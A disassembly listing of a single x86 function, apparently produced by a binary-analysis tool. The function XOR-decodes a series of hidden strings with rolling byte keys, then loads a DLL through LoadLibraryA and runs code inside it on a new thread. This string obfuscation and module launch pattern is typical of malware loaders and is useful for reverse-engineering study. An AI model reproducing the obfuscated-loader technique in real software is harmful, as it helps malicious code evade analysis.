Function at 0x403490
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.00403030
mov eax, dword fs:[0x2c]
mov dword [0x444d44], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0xec]
test cl, 1
jne 0x40350c
movups xmm0, xmmword [0x4355b0]
or ecx, 1
mov dword [eax + 0x380], 0
mov dword [eax + 0x384], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0x388], 0
movq xmm0, qword [0x4355c0]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0xec], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0x38a], xmm0
mov dword [eax + 0x392], ecx
cmp byte [eax + 0x389], 0
jne 0x403530
xor ebx, ebx
nop word [eax + eax]
lea ecx, [ebx + 0x79]
xor byte [ebx + eax + 0x38a], cl
inc ebx
cmp ebx, 0xc
jb 0x403520
mov ecx, dword [eax + 0xa0]
lea esi, [eax + 0x38a]
mov byte [eax + 0x389], 1
test cl, 1
jne 0x4035a5
movups xmm0, xmmword [0x435618]
or ecx, 1
mov dword [eax + 0xb4], 0
mov dword [eax + 0xb8], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0xbc], 0
movq xmm0, qword [0x435628]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0xa0], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0xbe], xmm0
mov dword [eax + 0xc6], ecx
mov cl, byte [ebp - 2]
mov byte [eax + 0xca], cl
cmp byte [eax + 0xbd], 0
jne 0x4035c0
xor ebx, ebx
lea ecx, [ebx + 0x79]
xor byte [ebx + eax + 0xbe], cl
inc ebx
cmp ebx, 0xd
jb 0x4035b0
mov ecx, dword [eax + 0x37c]
mov byte [eax + 0xbd], 1
test cl, 1
jne 0x403661
or ecx, 1
mov dword [eax + 0x8c], 0
mov dword [eax + 0x90], 0
mov word [eax + 0x94], 0
mov dword [eax + 0x37c], ecx
mov cx, word [0x435796]
mov byte [eax + 0x96], cl
mov byte [eax + 0x97], ch
mov ecx, dword [0x435798]
shr ecx, 8
mov byte [eax + 0x99], cl
mov cx, word [0x43579a]
mov byte [eax + 0x9a], cl
mov byte [eax + 0x9b], ch
mov ecx, dword [0x43579c]
shr ecx, 8
mov byte [eax + 0x9d], cl
mov cx, word [0x43579e]
mov byte [eax + 0x98], 0x1a
mov byte [eax + 0x9c], 0x1b
mov byte [eax + 0x9e], cl
mov byte [eax + 0x9f], ch
cmp byte [eax + 0x95], 0
jne 0x403680
xor ebx, ebx
nop dword [eax]
lea ecx, [ebx + 0x79]
xor byte [ebx + eax + 0x96], cl
inc ebx
cmp ebx, 0xa
jb 0x403670
mov ecx, dword [eax + 0xa4]
mov byte [eax + 0x95], 1
test cl, 1
jne 0x40370a
or ecx, 1
mov dword [eax + 0x1f8], 0
mov dword [eax + 0xa4], ecx
mov cx, word [0x43558e]
mov dword [eax + 0x1fc], 0
mov word [eax + 0x200], 0
mov byte [eax + 0x202], cl
mov byte [eax + 0x203], ch
mov ecx, dword [0x435590]
shr ecx, 8
mov byte [eax + 0x205], cl
mov cx, word [0x435592]
mov byte [eax + 0x206], cl
mov byte [eax + 0x207], ch
mov ecx, dword [0x435594]
shr ecx, 8
mov byte [eax + 0x204], 0x18
mov byte [eax + 0x208], 0xe5
mov byte [eax + 0x209], cl
cmp byte [eax + 0x201], 0
jne 0x403725
xor ebx, ebx
lea ecx, [ebx + 0x7a]
xor byte [ebx + eax + 0x202], cl
inc ebx
cmp ebx, 8
jb 0x403715
mov ecx, dword [eax + 0x70]
mov byte [eax + 0x201], 1
test cl, 1
jne 0x40378b
movups xmm0, xmmword [0x435630]
or ecx, 1
mov dword [eax + 0x2c4], 0
mov dword [eax + 0x2c8], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0x2cc], 0
movq xmm0, qword [0x435640]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0x70], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0x2ce], xmm0
mov dword [eax + 0x2d6], ecx
cmp byte [eax + 0x2cd], 0
jne 0x4037b0
xor ebx, ebx
nop word [eax + eax]
lea ecx, [ebx + 0x7a]
xor byte [ebx + eax + 0x2ce], cl
inc ebx
cmp ebx, 0xc
jb 0x4037a0
mov ecx, dword [eax + 0x1d4]
mov byte [eax + 0x2cd], 1
test cl, 1
jne 0x40381f
movups xmm0, xmmword [0x4357b8]
or ecx, 1
mov dword [eax + 0x110], 0
mov dword [eax + 0x114], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0x118], 0
movq xmm0, qword [0x4357c8]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0x1d4], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0x11a], xmm0
mov dword [eax + 0x122], ecx
mov cl, byte [ebp - 2]
mov byte [eax + 0x126], cl
cmp byte [eax + 0x119], 0
jne 0x403840
xor ebx, ebx
nop word [eax + eax]
lea ecx, [ebx + 0x7b]
xor byte [ebx + eax + 0x11a], cl
inc ebx
cmp ebx, 0xd
jb 0x403830
mov ecx, dword [eax + 0x33c]
mov byte [eax + 0x119], 1
test cl, 1
jne 0x4038a6
movups xmm0, xmmword [0x4356d8]
or ecx, 1
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0xdc], 0
movq xmm0, qword [0x4356e8]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0x33c], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0xde], xmm0
mov dword [eax + 0xe6], ecx
cmp byte [eax + 0xdd], 0
jne 0x4038c1
xor ebx, ebx
lea ecx, [ebx + 0x7b]
xor byte [ebx + eax + 0xde], cl
inc ebx
cmp ebx, 0xc
jb 0x4038b1
mov ecx, dword [eax + 0x2c]
mov byte [eax + 0xdd], 1
test cl, 1
jne 0x403927
movups xmm0, xmmword [0x43568c]
or ecx, 1
mov dword [eax + 0x74], 0
mov dword [eax + 0x78], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0x7c], 0
movq xmm0, qword [0x43569c]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0x2c], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0x7e], xmm0
mov dword [eax + 0x86], ecx
cmp byte [eax + 0x7d], 0
jne 0x403942
xor ebx, ebx
lea ecx, [ebx + 0x7b]
xor byte [ebx + eax + 0x7e], cl
inc ebx
cmp ebx, 0xc
jb 0x403932
mov ecx, dword [eax + 0xd0]
mov byte [eax + 0x7d], 1
test cl, 1
jne 0x4039b1
movups xmm0, xmmword [0x4357a0]
or ecx, 1
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
movups xmmword [ebp - 0x18], xmm0
mov word [eax + 0x18], 0
movq xmm0, qword [0x4357b0]
movq qword [ebp - 8], xmm0
movq xmm0, qword [ebp - 0xe]
mov dword [eax + 0xd0], ecx
mov ecx, dword [ebp - 6]
movq qword [eax + 0x1a], xmm0
mov dword [eax + 0x22], ecx
mov cl, byte [ebp - 2]
mov byte [eax + 0x26], cl
cmp byte [eax + 0x19], 0
jne 0x4039d0
xor ebx, ebx
nop dword [eax]
lea ecx, [ebx + 0x7c]
xor byte [ebx + eax + 0x1a], cl
inc ebx
cmp ebx, 0xd
jb 0x4039c0
mov ecx, dword [eax + 0x378]
mov byte [eax + 0x19], 1
test cl, 1
jne 0x403a71
or ecx, 1
mov dword [eax + 0x30], 0
mov dword [eax + 0x34], 0
mov word [eax + 0x38], 0
mov dword [eax + 0x378], ecx
mov cx, word [0x435766]
mov byte [eax + 0x3a], cl
mov byte [eax + 0x3b], ch
mov ecx, dword [0x435768]
shr ecx, 8
mov byte [eax + 0x3d], cl
mov cx, word [0x43576a]
mov byte [eax + 0x3e], cl
mov byte [eax + 0x3f], ch
mov ecx, dword [0x43576c]
shr ecx, 8
mov byte [eax + 0x41], cl
mov cx, word [0x43576e]
mov byte [eax + 0x3c], 0x17
mov byte [eax + 0x40], 0xe7
mov byte [eax + 0x42], cl
mov byte [eax + 0x43], ch
cmp byte [eax + 0x39], 0
jne 0x403a90
xor ebx, ebx
nop dword [eax]
lea ecx, [ebx + 0x7c]
xor byte [ebx + eax + 0x3a], cl
inc ebx
cmp ebx, 0xa
jb 0x403a80
mov ecx, dword [eax + 0x274]
mov byte [eax + 0x39], 1
test cl, 1
jne 0x403b0b
or ecx, 1
mov dword [eax + 0x2a0], 0
mov dword [eax + 0x2a4], 0
mov word [eax + 0x2a8], 0
mov dword [eax + 0x274], ecx
mov cx, word [0x4356ae]
mov byte [eax + 0x2aa], cl
mov byte [eax + 0x2ab], ch
mov ecx, dword [0x4356b0]
shr ecx, 8
mov byte [eax + 0x2ad], cl
mov cx, word [0x4356b2]
mov byte [eax + 0x2ac], 0x50
mov byte [eax + 0x2ae], cl
mov byte [eax + 0x2af], ch
mov byte [eax + 0x2b0], 0x82
cmp byte [eax + 0x2a9], 0
jne 0x403b30
xor ebx, ebx
nop word [eax + eax]
lea ecx, [ebx + 0x7c]
xor byte [ebx + eax + 0x2aa], cl
inc ebx
cmp ebx, 7
jb 0x403b20
push esi
mov byte [eax + 0x2a9], 1
mov byte [0x444d40], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x444d6c]
mov esi, eax
push 0
push 0
push 0
add ecx, esi
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret